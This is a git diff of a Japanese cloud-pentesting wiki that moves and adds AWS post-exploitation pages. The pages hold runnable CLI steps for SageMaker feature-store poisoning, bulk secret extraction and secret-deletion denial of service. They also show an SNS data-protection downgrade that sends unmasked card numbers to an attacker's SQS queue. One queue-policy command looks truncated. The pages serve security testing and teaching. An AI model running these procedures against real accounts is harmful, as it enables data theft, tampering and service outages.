diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
new file mode 100644
index 000000000..bf528e0ae
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
+
+## Requirements
+- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- ターゲット: OnlineStore が有効な Feature Group（通常はリアルタイム推論を支える）
+
+## Steps
+1) テスト用に小さな Online Feature Group を選択または作成する
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) オンラインレコードを挿入/上書き (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) レコードを読み返して改ざんを確認する
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+期待される結果: risk_score が 0.99 を返す (attacker-set)、モデルが使用するオンライン features を変更できることを証明する。
+
+## Impact
+- Real-time integrity attack: エンドポイント/モデルに触れることなく、production models が利用する features を操作する。
+- Confidentiality risk: GetRecord を介して OnlineStore から機密性の高い features を読み取る。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
deleted file mode 100644
index f9f6ce4c9..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ /dev/null
@@ -1,126 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-詳細は次を参照してください：
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### シークレットの読み取り
-
-シークレット自体は機密情報です。読み取り方法については[privesc ページ](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を参照してください。
-
-### DoS — シークレット値の変更
-
-シークレットの値を変更すると、その値に依存するすべてのシステムを**DoS**してしまう可能性があります。
-
-> [!WARNING]
-> 以前の値も保存されるので、簡単に以前の値に戻すことができます。
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使うように secret を構成できます。そのキーは最初、誰でもアクセス・使用できるように設定されているため、secret をその新しいキーで更新することが可能です。もしキーにアクセスできなければ、secret は更新できません。
-
-secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分のみがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、そのキーにアクセスできないため secret を取得することができなくなります。
-
-重要なのは、このアクセス不能は secret の内容が変更された後の以降のバージョンでのみ発生する点です。現在のバージョンはまだ元の KMS key で暗号化されているため、現時点では影響を受けません。
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-シークレットを削除するための最小日数は7日です
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-シークレットは復元可能です。シークレットの削除期間は最短7日、最長30日であるため、削除予定になっているシークレットを復元できます。secretsmanager:GetSecretValue 権限があれば、その内容を取得できます。
-
-削除処理中のシークレットを復元するには、次のコマンドを使用します：
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-このアクションは、シークレットへのアクセスを誰が許可されるかを制御するリソースポリシーを削除できるようにします。リソースポリシーが特定のユーザー群へのアクセスを許可するように設定されていた場合、これはDoSにつながる可能性があります。
-
-リソースポリシーを削除するには:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-シークレットのステートはシークレットのバージョン管理に使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING はローテーション処理で新しいバージョンを準備・検証して現在のバージョンにする前に使われます。
-
-アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動すると、アプリは無効な認証情報を使ってしまい、動作が失敗する可能性があります。
-
-AWSPREVIOUS は自動で使用されるわけではありません。しかし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてが前のバージョンで稼働しているように見えることがあります。
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20個のシークレットを取得します。これは各シークレットごとに GetSecretValue を繰り返す場合と比べて API コール数を大幅に削減できます。フィルタ（tags/name）を使用する場合は ListSecrets の権限も必要です。CloudTrail はバッチで取得された各シークレットについて個別に GetSecretValue イベントを記録します。
-
-必要な権限
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue（各対象シークレットごとに）
-- secretsmanager:ListSecrets（--filters を使用する場合）
-- kms:Decrypt（シークレットで使用される CMKs に対して。aws/secretsmanager を使用していない場合）
-
-> [!WARNING]
-> `secretsmanager:BatchGetSecretValue` の権限だけではシークレットを取得するのに十分ではありません。取得したい各シークレットに対して `secretsmanager:GetSecretValue` も必要です。
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-フィルタによるExfiltrate (tag key/value or name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-部分的な失敗の処理
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-影響
-- より少ない API コールで多くの secrets を迅速に “smash-and-grab” し、GetSecretValue の急増に合わせて調整されたアラートを回避する可能性がある。
-- CloudTrail ログには、batch で取得された各 secret ごとに 1 件の GetSecretValue イベントが含まれる。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
new file mode 100644
index 000000000..9bd7c2590
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Secrets の読み取り
+
+**secrets 自体は機密情報です**、[check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を参照して、読み取り方法を学んでください。
+
+### DoS Change Secret Value
+
+secret の値を変更すると、その値に依存するすべてのシステムを**DoS**する可能性があります。
+
+> [!WARNING]
+> 以前の値も保存されていることに注意してください。したがって、簡単に以前の値に戻すことができます。
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使用するよう secret を設定できます。そのキーは初期設定で誰でもアクセス・使用できるようになっているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできない設定であれば、secret を更新することはできません。
+
+secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、誰もアクセスできないため、secret を取得する能力が失われます。
+
+重要なのは、このアクセス不能は secret の内容が変更された後に作られる後続のバージョンでのみ発生するということです。現行のバージョンは元の KMS key で暗号化されたままだからです。
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+シークレットを削除する最小日数は7日です
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+シークレットを復元することが可能です。これにより、削除予定になっているシークレットを復元できます。シークレットの最小削除期間は7日、最大は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、それらの内容を取得できるようになります。
+
+削除処理中のシークレットを復旧するには、次のコマンドを使用できます：
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+このアクションは、secret へのアクセスを制御する resource policy を削除することを許可します。resource policy が特定のユーザー群へのアクセスを許可するように設定されていた場合、これは DoS につながる可能性があります。
+
+resource policy を削除するには：
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+シークレットの状態は、シークレットのバージョンを管理するために使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前にローテーション処理で準備・検証するために使われます。
+
+アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動させると、アプリは無効な認証情報を使ってしまい、動作しなくなる可能性があります。
+
+AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてがまだ前のバージョンで動作しているように見えることがあります。
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20件のシークレットを取得します。個々のシークレットごとに GetSecretValue を繰り返す場合と比べて、API 呼び出し回数を大幅に削減できます。フィルター（tags/name）を使用する場合は、ListSecrets 権限も必要です。CloudTrail はバッチで取得した各シークレットごとに GetSecretValue イベントを記録します。
+
+必要な権限
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate をフィルタで（tag key/value または name prefix）
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+部分的な失敗の処理
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+影響
+- 少ないAPIコールで多数のシークレットを迅速に“smash-and-grab”でき、GetSecretValueの急増に合わせて調整されたアラートを回避する可能性がある。
+- CloudTrailのログには、バッチで取得された各シークレットごとに1つのGetSecretValueイベントが引き続き記録される。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
index 884e1d3a8..48f776ee3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md
@@ -1,13 +1,13 @@
-# AWS - SES ポストエクスプロイテーション
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-詳細については、次を確認してください：
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -17,15 +17,15 @@
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-まだテスト中です。
+未検証。
 
 ### `ses:SendRawEmail`
 
-メールを送信します。
+メールを送信する。
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-まだテスト中です。
+まだテストしていません。
 
 ### `ses:SendTemplatedEmail`
 
@@ -33,15 +33,15 @@ aws ses send-raw-email --raw-message file://message.json
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-まだテストする必要があります。
+まだテストしていません。
 
 ### `ses:SendBulkTemplatedEmail`
 
-複数の宛先にメールを送信します。
+複数の宛先にメールを送信する
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-まだテスト中です。
+まだテストしていません。
 
 ### `ses:SendBulkEmail`
 
@@ -51,19 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-受信したメールに対して**バウンスメール**を送信します（メールが受信できなかったことを示します）。これは**メールを受信してから24時間以内**にのみ行うことができます。
+受信したメールに対して**bounce email**を送信します（そのメールが受信できなかったことを示します）。これは受信後**最大24時間まで**のみ行えます。
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-まだテストする必要があります。
+まだテストしていません。
 
 ### `ses:SendCustomVerificationEmail`
 
-これにより、カスタマイズされた確認メールが送信されます。テンプレートメールを作成するための権限も必要になる場合があります。
+これはカスタマイズされた確認メールを送信します。テンプレートメールを作成する権限も必要になる場合があります。
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-まだテスト中です。
+まだテストしていません。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
deleted file mode 100644
index e0911b697..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SNS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-詳細情報:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### メッセージの妨害
-
-いくつかのケースでは、SNSトピックは監視されているプラットフォーム（メール、Slackメッセージなど）にメッセージを送信するために使用されます。攻撃者がクラウド内での存在を警告するメッセージの送信を妨げることができれば、検出されずに済む可能性があります。
-
-### `sns:DeleteTopic`
-
-攻撃者はSNSトピック全体を削除することができ、メッセージの損失を引き起こし、そのトピックに依存するアプリケーションに影響を与える可能性があります。
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**潜在的な影響**: 削除されたトピックを使用しているアプリケーションに対するメッセージの損失とサービスの中断。
-
-### `sns:Publish`
-
-攻撃者はSNSトピックに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**潜在的な影響**: データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sns:SetTopicAttributes`
-
-攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-攻撃者はSNSトピックにサブスクライブまたはサブスクライブ解除を行うことで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与したり、正当なユーザーの権限を取り消したりすることで、トピックに依存するアプリケーションの正常な機能に支障をきたす可能性があります。
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**潜在的な影響**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。
-
-### `sns:TagResource` , `sns:UntagResource`
-
-攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
new file mode 100644
index 000000000..1abdee1dc
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md
@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### メッセージの遮断
+
+多くの場合、SNSトピックは監視されているプラットフォーム（電子メール、slackメッセージなど）へメッセージを送信するために使用されます。攻撃者がクラウド内での存在を知らせるメッセージの送信を阻止できれば、検出されずに留まる可能性があります。
+
+### `sns:DeleteTopic`
+
+攻撃者はSNSトピック全体を削除でき、メッセージの損失を引き起こし、そのトピックに依存しているアプリケーションに影響を与える可能性があります。
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potential Impact**: 削除されたトピックを使用するアプリケーションでのメッセージの喪失およびサービス中断。
+
+### `sns:Publish`
+
+攻撃者は悪意のある、または望ましくないメッセージを SNS トピックに送信し、データの破損、意図しないアクションの発動、またはリソースの枯渇を引き起こす可能性があります。
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**潜在的な影響**: データの破損、意図しない操作、またはリソース枯渇。
+
+### `sns:SetTopicAttributes`
+
+攻撃者は SNS topic の属性を変更でき、その結果パフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**潜在的影響**: 誤設定によりパフォーマンス低下、セキュリティ問題、または可用性の低下を招く可能性があります。
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+攻撃者はSNSトピックに対して購読や購読解除を行い、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**潜在的な影響**: メッセージへの不正アクセス、影響を受けた topic に依存するアプリケーションのサービス中断。
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+攻撃者は不正なユーザーやサービスにSNS topicへのアクセスを許可したり、正当なユーザーの権限を取り消したりすることで、topic に依存するアプリケーションの正常な動作を妨げる可能性があります。
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Potential Impact**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの改ざん、トピックに依存するアプリケーションの通常動作の阻害。
+
+### `sns:TagResource` , `sns:UntagResource`
+
+攻撃者はSNSリソースにタグを追加、変更、または削除でき、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが乱される可能性があります。
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**潜在的影響**: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。
+
+### More SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
new file mode 100644
index 000000000..80802854c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md
@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection ポリシーのダウングレードによるバイパス
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+トピックに `sns:PutDataProtectionPolicy` の権限がある場合、その Message Data Protection ポリシーを Deidentify/Deny から Audit-only に切り替える（または Outbound 制御を削除する）ことで、クレジットカード番号などの機密値が購読先にマスクされずに配信されるようにできます。
+
+## 要件
+- 対象トピックに対して `sns:PutDataProtectionPolicy` を呼び出す権限（データを受け取りたい場合は通常 `sns:Subscribe` も）。
+- Standard SNS トピック（Message Data Protection がサポートされていること）。
+
+## 攻撃手順
+
+- 変数
+
+```bash
+REGION=us-east-1
+```
+
+1) 標準トピックと攻撃者用の SQS キューを作成し、そのトピックのみがキューに送信できるように許可する
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) アウトバウンドメッセージでクレジットカード番号をマスクする data protection ポリシーを適用する
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) 攻撃者のキューをサブスクライブし、テスト用のクレジットカード番号付きメッセージを公開してマスキングを確認する
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+期待される抜粋はマスキング（ハッシュ）を示します:
+```json
+"Message" : "payment:{cc:################}"
+```
+4) ポリシーを audit-only にダウングレードする（Outbound に影響する deidentify/deny ステートメントは含めない）
+
+SNS では、Audit ステートメントは Inbound にする必要がある。ポリシーを Audit-only の Inbound ステートメントに置き換えると、Outbound の de-identification がすべて除去され、メッセージは変化なくサブスクライバーに配信される。
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) 同じメッセージを publish し、マスク解除された値が配信されることを確認する
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+期待される抜粋はプレーンテキストの CC を示す:
+```text
+4539894458086459
+```
+## 影響
+- トピックを de-identification/deny から audit-only に切り替える（または Outbound controls を削除する）ことで、PII/secrets が改変されることなく攻撃者が制御するサブスクリプションへ送信され、本来はマスクまたはブロックされるはずのデータの data exfiltration を可能にします。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
new file mode 100644
index 000000000..3b7a8f870
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md
@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
